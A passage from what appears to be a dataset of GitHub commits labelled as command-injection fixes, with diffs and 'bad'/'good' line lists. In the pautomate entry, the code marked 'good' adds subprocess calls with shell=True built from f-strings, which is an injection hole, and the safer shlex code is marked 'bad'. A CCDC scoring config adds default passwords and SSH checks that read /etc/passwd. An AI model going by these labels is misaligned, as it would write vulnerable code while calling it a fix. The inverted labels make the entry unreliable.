@then(\"the pods logs should not be empty\") def check_logs(host): with host.sudo(): cmd=('kubectl --kubeconfig=/etc/kubernetes/admin.conf' ' get pods -n kube-system' ' --no-headers -o custom-columns=\":metadata.name\"') pods_list=host.check_output(cmd) for pod_id in pods_list.split('\\n'): cmd_logs=('kubectl --kubeconfig=/etc/kubernetes/admin.conf' ' logs{} --limit-bytes=1 -n kube-system'.format( pod_id)) res=host.check_output(cmd_logs) if 'salt-master' not in pod_id: assert len(res.strip()) > 0,( 'Error cannot retrieve logs for{}'.format(pod_id)) ", "sourceWithComments": "from pytest_bdd import scenario, then\n\n# Scenarios\n@scenario('../features/log_accessible.feature', 'get logs')\ndef test_logs(host):\n pass\n\n\n@then(\"the pods logs should not be empty\")\ndef check_logs(host):\n with host.sudo():\n cmd = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n ' get pods -n kube-system'\n ' --no-headers -o custom-columns=\":metadata.name\"')\n pods_list = host.check_output(cmd)\n for pod_id in pods_list.split('\\n'):\n cmd_logs = ('kubectl --kubeconfig=/etc/kubernetes/admin.conf'\n ' logs {} --limit-bytes=1 -n kube-system'.format(\n pod_id))\n res = host.check_output(cmd_logs)\n if 'salt-master' not in pod_id:\n assert len(res.strip()) > 0, (\n 'Error cannot retrieve logs for {}'.format(pod_id))\n"}}, "msg": "Use safer invocation of shell commands\n\nRunning commands with the \"host\" fixture provided by testinfra was done\nwithout concern for quoting of arguments, and might be vulnerable to\ninjections / escaping issues.\n\nUsing a log-like formatting, i.e. `host.run('my-cmd %s %d', arg1, arg2)`\nfixes the issue (note we cannot use a list of strings as with\n`subprocess`).\n\nIssue: GH-781"}}, "https://github.com/ammarnajjar/pautomate": {"adb44011274c2ee193f56fb39f1f3d3b3f22fa82": {"url": "https://api.github.com/repos/ammarnajjar/pautomate/commits/adb44011274c2ee193f56fb39f1f3d3b3f22fa82", "html_url": "https://github.com/ammarnajjar/pautomate/commit/adb44011274c2ee193f56fb39f1f3d3b3f22fa82", "message": "fix: Avoid spawning a subprocess without a shell\n\nPython possesses many mechanisms to invoke an external executable.\nHowever, doing so may present a security issue if appropriate care is\nnot taken to sanitize any user provided or variable input. The spawning\nof a subprocess without the use of a command shell is not vulnerable to\nshell injection attacks, but care should still be taken to ensure\nvalidity of input.\n\nReference:\nhttps://docs.openstack.org/bandit/latest/plugins/b603_subprocess_without_shell_equals_true.html", "sha": "adb44011274c2ee193f56fb39f1f3d3b3f22fa82", "keyword": "command injection fix", "diff": "diff --git a/pautomate/common/git.py b/pautomate/common/git.py\nindex 5aa8bf6..418fe1d 100644\n--- a/pautomate/common/git.py\n+++ b/pautomate/common/git.py\n@@ -2,7 +2,6 @@\n \"\"\"\n Run Git commands in separate processes\n \"\"\"\n-import shlex\n import subprocess\n from os import path\n from typing import Dict\n@@ -20,8 +19,11 @@ def shell(command: str) -> str:\n Returns:\n str -- output of the shell\n \"\"\"\n- cmd = shlex.split(command)\n- output_lines = subprocess.check_output(cmd).decode('utf-8').split('\\n')\n+ out, err = subprocess.Popen(\n+ command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n+ ).communicate()\n+ stdout, stderr = out.decode('utf-8'), err.decode('utf-8')\n+ output_lines = f'{stdout}\\n{stderr}'.split('\\n')\n for index, line in enumerate(output_lines):\n if '*' in line:\n output_lines[index] = f'\\033[93m{line}\\033[0m'\n@@ -35,10 +37,12 @@ def shell_first(command: str) -> str:\n command {str} -- to execute in shell\n \n Returns:\n- str -- first line of output\n+ str -- first line of stdout\n \"\"\"\n- cmd = shlex.split(command)\n- return subprocess.check_output(cmd).decode('utf-8').split('\\n')[0]\n+ out, _ = subprocess.Popen(\n+ command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n+ ).communicate()\n+ return out.decode('utf-8').split('\\n')[0]\n \n \n def hard_reset(repo_path: str) -> str:\n", "files": {"/pautomate/common/git.py": {"changes": [{"diff": "\n \"\"\"\n Run Git commands in separate processes\n \"\"\"\n-import shlex\n import subprocess\n from os import path\n from typing import Dict\n", "add": 0, "remove": 1, "filename": "/pautomate/common/git.py", "badparts": ["import shlex"], "goodparts": []}, {"diff": "\n Returns:\n str -- output of the shell\n \"\"\"\n- cmd = shlex.split(command)\n- output_lines = subprocess.check_output(cmd).decode('utf-8').split('\\n')\n+ out, err = subprocess.Popen(\n+ command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n+ ).communicate()\n+ stdout, stderr = out.decode('utf-8'), err.decode('utf-8')\n+ output_lines = f'{stdout}\\n{stderr}'.split('\\n')\n for index, line in enumerate(output_lines):\n if '*' in line:\n output_lines[index] = f'\\033[93m{line}\\033[0m'\n", "add": 5, "remove": 2, "filename": "/pautomate/common/git.py", "badparts": [" cmd = shlex.split(command)", " output_lines = subprocess.check_output(cmd).decode('utf-8').split('\\n')"], "goodparts": [" out, err = subprocess.Popen(", " command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,", " ).communicate()", " stdout, stderr = out.decode('utf-8'), err.decode('utf-8')", " output_lines = f'{stdout}\\n{stderr}'.split('\\n')"]}, {"diff": "\n command {str} -- to execute in shell\n \n Returns:\n- str -- first line of output\n+ str -- first line of stdout\n \"\"\"\n- cmd = shlex.split(command)\n- return subprocess.check_output(cmd).decode('utf-8').split('\\n')[0]\n+ out, _ = subprocess.Popen(\n+ command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n+ ).communicate()\n+ return out.decode('utf-8').split('\\n')[0]\n \n \n def hard_reset(repo_path: str) -> str:\n", "add": 5, "remove": 3, "filename": "/pautomate/common/git.py", "badparts": [" str -- first line of output", " cmd = shlex.split(command)", " return subprocess.check_output(cmd).decode('utf-8').split('\\n')[0]"], "goodparts": [" str -- first line of stdout", " out, _ = subprocess.Popen(", " command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,", " ).communicate()", " return out.decode('utf-8').split('\\n')[0]"]}], "source": "\n \"\"\" Run Git commands in separate processes \"\"\" import shlex import subprocess from os import path from typing import Dict from.printing import print_green from.printing import print_yellow def shell(command: str) -> str: \"\"\"Execute shell command Arguments: command{str} --to execute in shell Returns: str --output of the shell \"\"\" cmd=shlex.split(command) output_lines=subprocess.check_output(cmd).decode('utf-8').split('\\n') for index, line in enumerate(output_lines): if '*' in line: output_lines[index]=f'\\033[93m{line}\\033[0m' return '\\n'.join(output_lines) def shell_first(command: str) -> str: \"\"\"Execute in shell Arguments: command{str} --to execute in shell Returns: str --first line of output \"\"\" cmd=shlex.split(command) return subprocess.check_output(cmd).decode('utf-8').split('\\n')[0] def hard_reset(repo_path: str) -> str: \"\"\"reset --hard Arguments: repo_path{str} --path to repo to reset \"\"\" return shell(f'git -C{repo_path} reset --hard') def get_branches_info(repo_path: str) -> str: \"\"\"git branch -a Arguments: repo_path{str} --path to repo \"\"\" return shell(f'git -C{repo_path} branch -a') def fetch_repo(working_directory: str, name: str, url: str, summery_info: Dict[str, str]) -> None: \"\"\"Clone / Fetch repo Arguments: working_directory{str} --target directory name{str} --repo name url{str} --repo url in gitlab summery_info{Dict[str, str]} --the result of the cloning/fetching \"\"\" repo_path=path.join(working_directory, name) if path.isdir(repo_path): print_green(f'Fetching{name}') shell_first(f'git -C{repo_path} fetch') remote_banches=shell_first(f'git -C{repo_path} ls-remote --heads') current_branch=shell_first( f'git -C{repo_path} rev-parse --abbrev-ref HEAD --', ) if f'refs/heads/{current_branch}' in remote_banches: shell_first( f'git -C{repo_path} fetch -u origin{current_branch}:{current_branch}', ) else: print_yellow(f'{current_branch} does not exist on remote') if('refs/heads/develop' in remote_banches and current_branch !='develop'): shell_first(f'git -C{repo_path} fetch origin develop:develop') else: print_green(f'Cloning{name}') shell_first(f'git clone{url}{name}') current_branch=shell_first( f'git -C{repo_path} rev-parse --abbrev-ref HEAD --', ) summery_info.update({name: current_branch}) ", "sourceWithComments": "# -*- coding: utf-8 *-\n\"\"\"\nRun Git commands in separate processes\n\"\"\"\nimport shlex\nimport subprocess\nfrom os import path\nfrom typing import Dict\n\nfrom .printing import print_green\nfrom .printing import print_yellow\n\n\ndef shell(command: str) -> str:\n \"\"\"Execute shell command\n\n Arguments:\n command {str} -- to execute in shell\n\n Returns:\n str -- output of the shell\n \"\"\"\n cmd = shlex.split(command)\n output_lines = subprocess.check_output(cmd).decode('utf-8').split('\\n')\n for index, line in enumerate(output_lines):\n if '*' in line:\n output_lines[index] = f'\\033[93m{line}\\033[0m'\n return '\\n'.join(output_lines)\n\n\ndef shell_first(command: str) -> str:\n \"\"\"Execute in shell\n\n Arguments:\n command {str} -- to execute in shell\n\n Returns:\n str -- first line of output\n \"\"\"\n cmd = shlex.split(command)\n return subprocess.check_output(cmd).decode('utf-8').split('\\n')[0]\n\n\ndef hard_reset(repo_path: str) -> str:\n \"\"\"reset --hard\n\n Arguments:\n repo_path {str} -- path to repo to reset\n \"\"\"\n return shell(f'git -C {repo_path} reset --hard')\n\n\ndef get_branches_info(repo_path: str) -> str:\n \"\"\"git branch -a\n\n Arguments:\n repo_path {str} -- path to repo\n \"\"\"\n return shell(f'git -C {repo_path} branch -a')\n\n\ndef fetch_repo(working_directory: str, name: str, url: str, summery_info: Dict[str, str]) -> None:\n \"\"\"Clone / Fetch repo\n\n Arguments:\n working_directory {str} -- target directory\n name {str} -- repo name\n url {str} -- repo url in gitlab\n summery_info {Dict[str, str]} -- the result of the cloning/fetching\n \"\"\"\n repo_path = path.join(working_directory, name)\n if path.isdir(repo_path):\n print_green(f'Fetching {name}')\n shell_first(f'git -C {repo_path} fetch')\n remote_banches = shell_first(f'git -C {repo_path} ls-remote --heads')\n current_branch = shell_first(\n f'git -C {repo_path} rev-parse --abbrev-ref HEAD --',\n )\n if f'refs/heads/{current_branch}' in remote_banches:\n shell_first(\n f'git -C {repo_path} fetch -u origin {current_branch}:{current_branch}',\n )\n else:\n print_yellow(f'{current_branch} does not exist on remote')\n\n if ('refs/heads/develop' in remote_banches and current_branch != 'develop'):\n shell_first(f'git -C {repo_path} fetch origin develop:develop')\n else:\n print_green(f'Cloning {name}')\n shell_first(f'git clone {url} {name}')\n current_branch = shell_first(\n f'git -C {repo_path} rev-parse --abbrev-ref HEAD --',\n )\n summery_info.update({name: current_branch})\n"}}, "msg": "fix: Avoid spawning a subprocess without a shell\n\nPython possesses many mechanisms to invoke an external executable.\nHowever, doing so may present a security issue if appropriate care is\nnot taken to sanitize any user provided or variable input. The spawning\nof a subprocess without the use of a command shell is not vulnerable to\nshell injection attacks, but care should still be taken to ensure\nvalidity of input.\n\nReference:\nhttps://docs.openstack.org/bandit/latest/plugins/b603_subprocess_without_shell_equals_true.html"}}, "https://github.com/DSU-DefSecClub/ScoringEngine": {"010eefe1ad416c0bdaa16fd59eca0dc8e3086a13": {"url": "https://api.github.com/repos/DSU-DefSecClub/ScoringEngine/commits/010eefe1ad416c0bdaa16fd59eca0dc8e3086a13", "html_url": "https://github.com/DSU-DefSecClub/ScoringEngine/commit/010eefe1ad416c0bdaa16fd59eca0dc8e3086a13", "message": "CCDC Scenario1 Mock Changes:\n- Check SSH command output\n- Better timeout mechanism\n- Remove query strings from links in HTTP pages\n- Fix RDP poller command injection (partial)\n- Fix default credential scripts\n- Larger BLOB data in database", "sha": "010eefe1ad416c0bdaa16fd59eca0dc8e3086a13", "keyword": "command injection fix", "diff": "diff --git a/checker/dns_check.py b/checker/dns_check.py\nindex 353150f..f0cbbc6 100644\n--- a/checker/dns_check.py\n+++ b/checker/dns_check.py\n@@ -3,5 +3,5 @@ def any_match(poll_result, expected):\n if poll_result.exception != \"None\":\n return False\n \n- host = poll_result.answer.split('.')[3]\n+ host = poll_result.answer\n return host in expected\ndiff --git a/checker/ssh_check.py b/checker/ssh_check.py\nindex 152a49a..63ed8f1 100644\n--- a/checker/ssh_check.py\n+++ b/checker/ssh_check.py\n@@ -1,5 +1,5 @@\n \n-def task_successful(poll_result, expected):\n+def output_check(poll_result, expected):\n \"\"\"\n Determines if a task was successful by checking that the last character\n in the output is '0'.\n@@ -10,5 +10,6 @@ def task_successful(poll_result, expected):\n if poll_result.output is None:\n return False\n \n- output = poll_result.output[0]\n- return output[-2] == '0'\n+\n+ output = poll_result.output[0].strip()\n+ return output == expected[0]\ndiff --git a/configs/ccdc_scenario1.cfg b/configs/ccdc_scenario1.cfg\nindex 20b50e9..8d809fe 100644\n--- a/configs/ccdc_scenario1.cfg\n+++ b/configs/ccdc_scenario1.cfg\n@@ -1,19 +1,25 @@\n [Global]\n-interval:210\n-jitter:90\n+interval:60\n+jitter:0\n timeout:20\n-running:0\n+running:1\n \n [Teams]\n # id:name,subnet,netmask\n # 1:Team1,192.168.1.0,255.255.255.0\n 1:Team1,10.10.1.0,255.255.255.0\n+2:Team2,10.10.2.0,255.255.255.0\n+3:Team3,10.10.3.0,255.255.255.0\n+4:Team4,10.10.4.0,255.255.255.0\n \n [Users]\n # id:team_id,username,password,is_admin\n # 1:0,admin,Password1!,1\n 1:0,admin,WaterParkFowl,1\n 2:1,team1,TrimWater,0\n+3:2,team2,LaunchLove,0\n+4:3,team3,EmperorAmbient,0\n+5:4,team4,SonsLouisiana,0\n \n [Services]\n # id:host,port\n@@ -38,80 +44,80 @@ running:0\n [Checks]\n # id:name,check_func,poller,service_id\n # 1:DNS,dns_check.any_match,DnsPoller,1\n-1:DC01-DNS,dns_check.any_match,DnsPoller,1\n-2:DC01-LDAP,ldap_check.match_ldap_output,LdapPoller,2\n-3:DC02-DNS,dns_check.any_match,DnsPoller,3\n-4:EX01-SMTP,smtp_check.sent_successfully,SmtpPoller,4\n-5:EX01-POP,auth_check.authenticated,PopPoller,5\n-6:FTP-FTP,file_check.hash_match,FtpPoller,6\n-7:FTP-RDP,auth_check.authenticated,RdpPoller,7\n-8:INTBLOG-HTTP,file_check.diff_match,HttpPoller,8\n-9:INTSHARE-SMB,file_check.hash_match,SmbPoller,9\n-10:EXTSHARE-FTP,file_check.hash_match,FtpPoller,10\n-11:EXTSHARE-SSH,auth_check.authenticated,SshPoller,11\n-12:FORUM-HTTP,file_check.diff_match,HttpPoller,12\n-13:FORUM-SSH,auth_check.authenticated,SshPoller,13\n-14:STORE-HTTP,file_check.diff_match,HttpPoller,14\n-15:STORE-MySQL,sql_check.match_sql_output,MysqlPoller,15\n-16:BLOG-HTTP,file_check.diff_match,HttpPoller,16\n+1:DC01-DNS,dns_check.any_match,poll_dns.DnsPoller,1\n+2:DC01-LDAP,ldap_check.match_ldap_output,poll_ldap.LdapPoller,2\n+3:DC02-DNS,dns_check.any_match,poll_dns.DnsPoller,3\n+4:EX01-SMTP,smtp_check.sent_successfully,poll_smtp.SmtpPoller,4\n+5:EX01-POP,auth_check.authenticated,poll_pop.PopPoller,5\n+6:FTP-FTP,file_check.hash_match,poll_ftp.FtpPoller,6\n+7:FTP-RDP,auth_check.authenticated,poll_rdp.RdpPoller,7\n+8:INTBLOG-HTTP,file_check.diff_match,poll_http.HttpPoller,8\n+9:INTSHARE-SMB,file_check.hash_match,poll_smb.SmbPoller,9\n+10:EXTSHARE-FTP,file_check.hash_match,poll_ftp.FtpPoller,10\n+11:EXTSHARE-SSH,ssh_check.output_check,poll_ssh.SshPoller,11\n+12:FORUM-HTTP,file_check.diff_match,poll_http.HttpPoller,12\n+13:FORUM-SSH,ssh_check.output_check,poll_ssh.SshPoller,13\n+14:STORE-HTTP,file_check.diff_match,poll_http.HttpPoller,14\n+15:STORE-MySQL,sql_check.match_sql_output,poll_mysql.MySqlPoller,15\n+16:BLOG-HTTP,file_check.diff_match,poll_http.HttpPoller,16\n \n [PollInputs]\n # id:type,attrs\n # 1:DnsPollInput,\n \n # DNS\n-1:DnsPollInput,[\"A\", \"\"]\n-2:DnsPollInput,[\"A\", \"\"]\n-3:DnsPollInput,[\"A\", \"\"]\n-4:DnsPollInput,[\"A\", \"\"]\n-5:DnsPollInput,[\"A\", \"\"]\n-6:DnsPollInput,[\"MX\", \"\"]\n+1:poll_dns.DnsPollInput,[\"A\", \"mail.ccdc.vnet\"]\n+2:poll_dns.DnsPollInput,[\"A\", \"dc1.ccdc.vnet\"]\n+3:poll_dns.DnsPollInput,[\"A\", \"dc2.ccdc.vnet\"]\n+4:poll_dns.DnsPollInput,[\"A\", \"virt.ccdc.vnet\"]\n+5:poll_dns.DnsPollInput,[\"A\", \"store.ccdc.vnet\"]\n+6:poll_dns.DnsPollInput,[\"MX\", \"ccdc.vnet\"]\n \n # LDAP\n-7:LdapPollInput,[]\n-8:LdapPollInput,[]\n-9:LdapPollInput,[]\n+7:poll_ldap.LdapPollInput,[\"{}@CCDC.VNET\", \"cn=Users,dc=CCDC,dc=VNET\", \"(sAMAccountName=Administrator)\", [\"objectGUID\"]]\n+8:poll_ldap.LdapPollInput,[\"{}@CCDC.VNET\", \"cn=Users,dc=CCDC,dc=VNET\", \"(sAMAccountName=Administrator)\", [\"name\"]]\n+9:poll_ldap.LdapPollInput,[\"{}@CCDC.VNET\", \"cn=Users,dc=CCDC,dc=VNET\", \"(sAMAccountName=Administrator)\", [\"isCriticalSystemObject\"]]\n \n # Mail\n-10:SmtpPollInput,[]\n-11:PopPollInput,[1]\n+10:poll_smtp.SmtpPollInput,[\"ccdc.vnet\", [\"nmeridel\", \"ipenelopa\", \"bbrinna\", \"jwylma\", \"acele\", \"kkore\", \"lberty\", \"sjoane\"], \"Test message\"]\n+11:poll_pop.PopPollInput,[1]\n \n # FTP\n-12:FtpPollInput,[]\n-13:FtpPollInput,[]\n-14:FtpPollInput,[]\n-15:FtpPollInput,[]\n-16:FtpPollInput,[]\n-17:FtpPollInput,[]\n+12:poll_ftp.FtpPollInput,[\"file0001316404158.jpg\"]\n+13:poll_ftp.FtpPollInput,[\"file0001079221497.jpg\"]\n+14:poll_ftp.FtpPollInput,[\"file0001209214386.jpg\"]\n+15:poll_ftp.FtpPollInput,[\"ftp1/file000477760838.jpg\"]\n+16:poll_ftp.FtpPollInput,[\"ftp1/file000656451307.jpg\"]\n+17:poll_ftp.FtpPollInput,[\"ftp3/file0001625591306.jpg\"]\n \n # RDP\n-18:RdpPollInput,[]\n+18:poll_rdp.RdpPollInput,[]\n \n # HTTP\n-19:HttpPollInput,[]\n-20:HttpPollInput,[]\n-21:HttpPollInput,[]\n-22:HttpPollInput,[]\n-23:HttpPollInput,[]\n-24:HttpPollInput,[]\n-25:HttpPollInput,[]\n-26:HttpPollInput,[]\n+19:poll_http.HttpPollInput,[\"http\", \"wordpress/index.php/2018/03/06/hello-world/\"]\n+20:poll_http.HttpPollInput,[\"http\", \"wordpress/index.php/2018/03/06/the-new-internal-blog/\"]\n+21:poll_http.HttpPollInput,[\"http\", \"phpbb/memberlist.php\"]\n+22:poll_http.HttpPollInput,[\"http\", \"phpbb/viewforum.php?f=1&sid=40c901079e298c07b1d19e956840b73a\"]\n+23:poll_http.HttpPollInput,[\"http\", \"joomla/\"]\n+24:poll_http.HttpPollInput,[\"http\", \"joomla/administrator\"]\n+25:poll_http.HttpPollInput,[\"http\", \"wordpress/\"]\n+26:poll_http.HttpPollInput,[\"http\", \"wordpress/wp-login.php\"]\n \n # SMB\n-27:SmbPollInput,[]\n-28:SmbPollInput,[]\n-29:SmbPollInput,[]\n+27:poll_smb.SmbPollInput,[\"debian\", \"share\", \"share1/file761244456443.jpg\"]\n+28:poll_smb.SmbPollInput,[\"debian\", \"share\", \"share1/file0001896291699.jpg\"]\n+29:poll_smb.SmbPollInput,[\"debian\", \"share\", \"share2/file3251255366828.jpg\"]\n \n # SSH\n-30:SshPollInput,[]\n-31:SshPollInput,[]\n-32:SshPollInput,[]\n-33:SshPollInput,[]\n+30:poll_ssh.SshPollInput,[\"grep '^warshipedom' /etc/passwd\"]\n+31:poll_ssh.SshPollInput,[\"ls /bin/gzip\"]\n+32:poll_ssh.SshPollInput,[\"grep '^root' /etc/passwd\"]\n+33:poll_ssh.SshPollInput,[\"which perl\"]\n \n # MySQL\n-34:MysqlPollInput,[]\n-35:MysqlPollInput,[]\n-36:MysqlPollInput,[]\n+34:poll_mysql.MySqlPollInput,[\"employees\", \"SELECT fname FROM employee WHERE id=1\"]\n+35:poll_mysql.MySqlPollInput,[\"employees\", \"SELECT lname FROM employee WHERE id=4\"]\n+36:poll_mysql.MySqlPollInput,[\"employees\", \"SELECT salary FROM salary WHERE id=3\"]\n \n \n [CheckIOs]\n@@ -119,64 +125,64 @@ running:0\n # 1:1,1,\n \n # DNS\n-1:1,1,[]\n-2:2,1,[]\n-3:3,1,[]\n-4:4,1,[]\n-5:5,1,[]\n-6:6,1,[]\n-7:1,3,[]\n-8:2,3,[]\n-9:3,3,[]\n-10:4,3,[]\n-11:5,3,[]\n-12:6,3,[]\n+1:1,1,[\"10.10.1.30\"]\n+2:2,1,[\"10.10.1.10\"]\n+3:3,1,[\"10.10.1.20\"]\n+4:4,1,[\"10.10.1.230\"]\n+5:5,1,[\"10.10.1.210\"]\n+6:6,1,[\"10 mail.ccdc.vnet.\"]\n+7:1,3,[\"10.10.1.30\"]\n+8:2,3,[\"10.10.1.10\"]\n+9:3,3,[\"10.10.1.20\"]\n+10:4,3,[\"10.10.1.230\"]\n+11:5,3,[\"10.10.1.210\"]\n+12:6,3,[\"10 mail.ccdc.vnet.\"]\n \n # LDAP\n-13:7,2,[]\n-14:8,2,[]\n-15:9,2,[]\n+13:7,2,{\"objectGUID\": [\"QQT88ns/XkKgQRmqA22O/g==\"]}\n+14:8,2,{\"name\": [\"Administrator\"]}\n+15:9,2,{\"isCriticalSystemObject\": [\"TRUE\"]}\n \n # Mail\n 16:10,4,[]\n 17:11,5,[]\n \n # FTP\n-18:12,6,[]\n-19:13,6,[]\n-20:14,6,[]\n-21:15,10,[]\n-22:16,10,[]\n-23:17,10,[]\n+18:12,6,[\"06f1acaf5e84d07ec326eb14f2431b93e08598b8\"]\n+19:13,6,[\"38552491721e33612ca621cd6a88758ed3fd2eb0\"]\n+20:14,6,[\"c82103ceda276dc95c6bbdfd41927c9dc333d95b\"]\n+21:15,10,[\"12eb74dc81be9e90909e87f8f78bcd1abd516f62\"]\n+22:16,10,[\"da3ae92cf5a09b8aaf9556306c84edada1340c2d\"]\n+23:17,10,[\"1ba1a35505fb77b40b573aa0c83bb358fa8d9f19\"]\n \n # RDP\n 24:18,7,[]\n \n # HTTP\n-25:19,8,[]\n-26:20,8,[]\n-27:21,12,[]\n-28:22,12,[]\n-29:23,14,[]\n-30:24,14,[]\n-31:25,16,[]\n-32:26,16,[]\n+25:19,8,{\"tolerance\":0.20, \"file\":\"intblog-1.html\"}\n+26:20,8,{\"tolerance\":0.20, \"file\":\"intblog-2.html\"}\n+27:21,12,{\"tolerance\":0.20, \"file\":\"forum-1.html\"}\n+28:22,12,{\"tolerance\":0.20, \"file\":\"forum-2.html\"}\n+29:23,14,{\"tolerance\":0.20, \"file\":\"store-1.html\"}\n+30:24,14,{\"tolerance\":0.20, \"file\":\"store-2.html\"}\n+31:25,16,{\"tolerance\":0.20, \"file\":\"blog-1.html\"}\n+32:26,16,{\"tolerance\":0.20, \"file\":\"blog-2.html\"}\n \n # SMB\n-33:27,9,[]\n-34:28,9,[]\n-35:29,9,[]\n+33:27,9,[\"444f02296a7f351969a8dbd728f709018fcf412b\"]\n+34:28,9,[\"cea3f8386424a0f917e50d2f922b419990b91d4a\"]\n+35:29,9,[\"c17798edde18bc9a9a62801d659ccfeb6357de6d\"]\n \n # SSH\n-36:30,11,[]\n-37:31,11,[]\n-38:32,13,[]\n-39:33,13,[]\n+36:30,11,[\"warshipedom:x:1099:1099::/home/warshipedom:/bin/bash\"]\n+37:31,11,[\"/bin/gzip\"]\n+38:32,13,[\"root:x:0:0:root:/root:/bin/bash\"]\n+39:33,13,[\"/usr/bin/perl\"]\n \n # MySQL\n-40:34,15,[]\n-41:35,15,[]\n-42:36,15,[]\n+40:34,15,[\"Bob\"]\n+41:35,15,[\"Christman\"]\n+42:36,15,[30000]\n \n \n [Domains]\n@@ -185,3 +191,205 @@ running:0\n [Credentials]\n # id:domain_id,username,password,Listof(CheckIO ids)\n # 1:1,user,pass,[1,2,3]\n+\n+1:Albranta,Password1!,[33,34,35,38,39]\n+2:AngelsSpyder,Password1!,[33,34,35,38,39]\n+3:Asentrion,Password1!,[33,34,35,38,39]\n+4:AspWell,Password1!,[33,34,35,38,39]\n+5:Asseste,Password1!,[33,34,35,38,39]\n+6:Atheriter,Password1!,[33,34,35,38,39]\n+7:BabeFraser,Password1!,[33,34,35,38,39]\n+8:Bistercu,Password1!,[33,34,35,38,39]\n+9:Blackending,Password1!,[33,34,35,38,39]\n+10:BoxMoff,Password1!,[33,34,35,38,39]\n+11:Boyfroneeba,Password1!,[33,34,35,38,39]\n+12:Brisulate,Password1!,[33,34,35,38,39]\n+13:BuddieAttractive,Password1!,[33,34,35,38,39]\n+14:ChicClear,Password1!,[33,34,35,38,39]\n+15:Chinailee,Password1!,[33,34,35,38,39]\n+16:Columnionb,Password1!,[33,34,35,38,39]\n+17:Conveking,Password1!,[33,34,35,38,39]\n+18:Coophone,Password1!,[33,34,35,38,39]\n+19:Coveragemi,Password1!,[33,34,35,38,39]\n+20:Cuteensarr,Password1!,[33,34,35,38,39]\n+21:Cybitra,Password1!,[33,34,35,38,39]\n+22:Dailysity,Password1!,[33,34,35,38,39]\n+23:Daysmedib,Password1!,[33,34,35,38,39]\n+24:DelightTeen,Password1!,[33,34,35,38,39]\n+25:Digillah,Password1!,[33,34,35,38,39]\n+26:Dotergyru,Password1!,[33,34,35,38,39]\n+27:Easystfore,Password1!,[33,34,35,38,39]\n+28:Essaymedi,Password1!,[33,34,35,38,39]\n+29:ExpertRadiant,Password1!,[33,34,35,38,39]\n+30:Ezonovava,Password1!,[33,34,35,38,39]\n+31:Farcellenac,Password1!,[33,34,35,38,39]\n+32:Favestuf,Password1!,[33,34,35,38,39]\n+33:Finelless,Password1!,[33,34,35,38,39]\n+34:FizzBrilliant,Password1!,[33,34,35,38,39]\n+35:Forliferx,Password1!,[33,34,35,38,39]\n+36:Foureredit,Password1!,[33,34,35,38,39]\n+37:Fox2cool,Password1!,[33,34,35,38,39]\n+38:FredXan,Password1!,[33,34,35,38,39]\n+39:Funkeurota,Password1!,[33,34,35,38,39]\n+40:FuzzyCuddly,Password1!,[33,34,35,38,39]\n+41:GloryWiseConfident,Password1!,[33,34,35,38,39]\n+42:Gooblekuni,Password1!,[33,34,35,38,39]\n+43:GoobleSpyder,Password1!,[33,34,35,38,39]\n+44:Headlines,Password1!,[33,34,35,38,39]\n+45:Heavenwers,Password1!,[33,34,35,38,39]\n+46:HeroWaka,Password1!,[33,34,35,38,39]\n+47:Holderci,Password1!,[33,34,35,38,39]\n+48:Iansybeagen,Password1!,[33,34,35,38,39]\n+49:Idealthorks,Password1!,[33,34,35,38,39]\n+50:Idgelera,Password1!,[33,34,35,38,39]\n+51:dave,Password1!,[40,41,42]\n+52:nmeridel,Password1!,[24]\n+53:ipenelopa,Password1!,[24]\n+54:rbetteann,Password1!,[24]\n+55:nbettina,Password1!,[24]\n+56:bbrinna,Password1!,[24]\n+57:jwylma,Password1!,[24]\n+58:mgertrud,Password1!,[24]\n+59:bfara,Password1!,[24]\n+60:aemilee,Password1!,[18,19,20,24]\n+61:lettie,Password1!,[24]\n+62:felva,Password1!,[24]\n+63:llorry,Password1!,[24]\n+64:sjoane,Password1!,[24]\n+65:acele,Password1!,[18,19,20,24]\n+66:elauree,Password1!,[24]\n+67:lberty,Password1!,[24]\n+68:sdinnie,Password1!,[24]\n+69:tsibley,Password1!,[24]\n+70:tmalory,Password1!,[24]\n+71:pmalissia,Password1!,[24]\n+72:hmarje,Password1!,[24]\n+73:kkore,Password1!,[24]\n+74:mbeilul,Password1!,[24]\n+75:bjohnna,Password1!,[24]\n+76:efilia,Password1!,[24]\n+77:bkara,Password1!,[24]\n+78:kkarlen,Password1!,[24]\n+79:jcarlynn,Password1!,[24]\n+80:aophelia,Password1!,[18,19,20,24]\n+81:kamelia,Password1!,[24]\n+82:ubrett,Password1!,[24]\n+83:klesli,Password1!,[24]\n+84:anike,Password1!,[18,19,20,24]\n+85:tmarni,Password1!,[24]\n+86:gedyth,Password1!,[24]\n+87:gshauna,Password1!,[24]\n+88:hemmalyn,Password1!,[24]\n+89:acordula,Password1!,[18,19,20,24]\n+90:acathie,Password1!,[18,19,20,24]\n+91:tgwendolyn,Password1!,[24]\n+92:jdorisa,Password1!,[24]\n+93:mbrittney,Password1!,[24]\n+94:mbetti,Password1!,[24]\n+95:mpier,Password1!,[24]\n+96:iallison,Password1!,[24]\n+97:drafa,Password1!,[24]\n+98:lleoline,Password1!,[24]\n+99:cericha,Password1!,[24]\n+100:irozella,Password1!,[24]\n+101:mpearl,Password1!,[24]\n+102:1,nmeridel,Password1!,[13,14,15,16,17]\n+103:1,ipenelopa,Password1!,[13,14,15,16,17]\n+104:1,rbetteann,Password1!,[13,14,15,16,17]\n+105:1,nbettina,Password1!,[13,14,15,16,17]\n+106:1,bbrinna,Password1!,[13,14,15,16,17]\n+107:1,jwylma,Password1!,[13,14,15,16,17]\n+108:1,mgertrud,Password1!,[13,14,15,16,17]\n+109:1,bfara,Password1!,[13,14,15,16,17]\n+110:1,aemilee,Password1!,[13,14,15,16,17]\n+111:1,lettie,Password1!,[13,14,15,16,17]\n+112:1,felva,Password1!,[13,14,15,16,17]\n+113:1,llorry,Password1!,[13,14,15,16,17]\n+114:1,sjoane,Password1!,[13,14,15,16,17]\n+115:1,acele,Password1!,[13,14,15,16,17]\n+116:1,elauree,Password1!,[13,14,15,16,17]\n+117:1,lberty,Password1!,[13,14,15,16,17]\n+118:1,sdinnie,Password1!,[13,14,15,16,17]\n+119:1,tsibley,Password1!,